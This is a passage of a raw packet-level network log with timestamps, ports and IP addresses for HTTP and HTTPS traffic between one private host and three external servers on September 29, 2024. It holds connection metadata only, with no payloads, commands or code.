Sep 29, 2024 00:53:25.486479044 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.486494064 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.486560106 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486567020 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486572981 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486582041 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.486587048 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.486617088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.486630917 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486637115 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486643076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486649036 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.486659050 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.486670017 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.486689091 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.487420082 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.487437010 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.487504005 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.487504005 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.487509966 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.487695932 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.487745047 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487751007 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487802982 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.487833977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487839937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487847090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487853050 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487860918 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487865925 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487888098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.487906933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.487932920 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487938881 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487945080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.487978935 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.488040924 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488048077 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488053083 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488059044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488065004 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488085985 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.488106012 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.488398075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488404989 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488410950 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488424063 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488462925 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.488511086 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488518000 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488523960 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488570929 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.488640070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.488694906 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.489363909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489370108 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489375114 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489394903 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489399910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489406109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489417076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.489418030 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.489454985 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.516419888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516427994 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516441107 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516452074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516458035 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516463995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516470909 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516570091 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516576052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516582012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516668081 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516673088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516680002 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516717911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.516717911 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.516752005 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.516762018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516768932 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.516819954 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.564671993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564690113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564697027 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564702988 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564708948 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564713955 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564718962 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564724922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564738035 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564740896 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564743042 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564753056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564759016 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564764977 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564867020 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.564867020 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.564961910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564968109 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.564974070 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565025091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565052032 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565057993 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565071106 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565076113 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565082073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565085888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565092087 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565098047 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565100908 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565104961 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565123081 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565126896 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565146923 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565166950 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565190077 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565196991 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565203905 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565210104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565222979 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565236092 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565265894 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565332890 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565339088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565345049 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565355062 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565362930 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565367937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565372944 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565377951 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565391064 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565399885 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565404892 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565404892 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565409899 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565417051 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565421104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565426111 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565428019 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565432072 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565448046 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565465927 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565485001 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565540075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565546989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565552950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565562963 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565568924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565573931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565578938 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565586090 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565596104 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565601110 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565608025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565608025 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565633059 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565654039 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565660000 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565671921 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565677881 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565682888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565692902 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565699100 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565704107 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565709114 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565715075 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.565737009 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.565764904 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566154003 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566159964 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566170931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566219091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566224098 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566230059 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566235065 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566246033 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566251040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566256046 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566286087 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566304922 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566310883 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566312075 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566315889 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566322088 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566327095 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566332102 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566369057 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566379070 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566411972 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566417933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566428900 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566440105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566445112 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566451073 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566457033 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566462040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566485882 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566510916 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566529989 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566535950 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566541910 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566551924 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566556931 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566561937 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566567898 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566591024 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566605091 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566623926 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566710949 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566716909 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566721916 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566728115 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566734076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566739082 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566745043 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566750050 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566755056 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566757917 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566772938 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566798925 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566802025 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566807985 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566813946 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566826105 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566828966 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566832066 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566850901 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566880941 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.566939116 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566945076 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.566992044 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.567014933 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.567033052 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.567039013 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.567051888 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.567054033 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.567059040 CEST	80	49712	176.113.115.95	192.168.2.9
Sep 29, 2024 00:53:25.567059040 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.567064047 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.567090988 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.567095041 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.567157030 CEST	49712	80	192.168.2.9	176.113.115.95
Sep 29, 2024 00:53:25.567157030 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.567157984 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.567168951 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.567408085 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.568506956 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568589926 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568594933 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568604946 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568618059 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568624020 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568634987 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568639040 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568640947 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568648100 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568651915 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568671942 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568687916 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568694115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568700075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568705082 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568718910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568718910 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568747997 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568778038 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568784952 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568790913 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568797112 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568803072 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568808079 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568835020 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568844080 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568850040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568860054 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568871975 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.568872929 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568897009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568897009 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.568952084 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.569530010 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569536924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569542885 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569549084 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569592953 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.569606066 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.569622040 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569628000 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569633961 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569647074 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569653034 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569658995 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569664001 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569669962 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569688082 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.569700956 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.569711924 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569716930 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569722891 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.569735050 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.569765091 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.570377111 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.570394993 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.570468903 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.570468903 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570473909 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.570482016 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570494890 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570499897 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570506096 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570511103 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570518970 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570522070 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.570523977 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.570525885 CEST	49715	443	192.168.2.9	162.159.130.233
Sep 29, 2024 00:53:25.570597887 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.571446896 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571454048 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571465015 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571468115 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571474075 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571485043 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571491957 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571516037 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.571557999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.571557999 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.571647882 CEST	49708	80	192.168.2.9	103.130.147.211
Sep 29, 2024 00:53:25.572364092 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.572367907 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572381020 CEST	443	49715	162.159.130.233	192.168.2.9
Sep 29, 2024 00:53:25.572413921 CEST	80	49708	103.130.147.211	192.168.2.9
Sep 29, 2024 00:53:25.572419882 CEST	80	49708	103.130.147.211	192.168.2.9
